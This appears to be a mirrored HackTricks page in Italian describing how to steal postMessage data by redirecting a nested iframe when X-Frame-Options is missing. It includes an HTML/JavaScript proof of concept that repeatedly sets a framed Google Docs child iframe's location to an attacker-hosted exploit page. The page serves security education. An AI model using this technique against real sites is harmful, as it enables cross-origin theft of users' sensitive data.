mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
32 lines
1.3 KiB
Markdown
32 lines
1.3 KiB
Markdown
# Steal postmessage modifying iframe location
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Cambiare le posizioni degli iframe figli
|
|
|
|
Secondo [**questo articolo**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se puoi inserire un iframe in una pagina web senza X-Frame-Header che contiene un altro iframe, puoi **cambiare la posizione di quell'iframe figlio**.
|
|
|
|
Ad esempio, se abc.com ha efg.com come iframe e abc.com non ha l'intestazione X-Frame, potrei cambiare efg.com in evil.com cross origin usando **`frames.location`**.
|
|
|
|
Questo è particolarmente utile in **postMessages** perché se una pagina sta inviando dati sensibili utilizzando un **wildcard** come `windowRef.postmessage("","*")`, è possibile **cambiare la posizione dell'iframe correlato (figlio o genitore) in una posizione controllata dall'attaccante** e rubare quei dati.
|
|
```html
|
|
<html>
|
|
<iframe src="https://docs.google.com/document/ID" />
|
|
<script>
|
|
//pseudo code
|
|
setTimeout(function () {
|
|
exp()
|
|
}, 6000)
|
|
|
|
function exp() {
|
|
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
|
|
setInterval(function () {
|
|
window.frames[0].frame[0][2].location =
|
|
"https://geekycat.in/exploit.html"
|
|
}, 100)
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|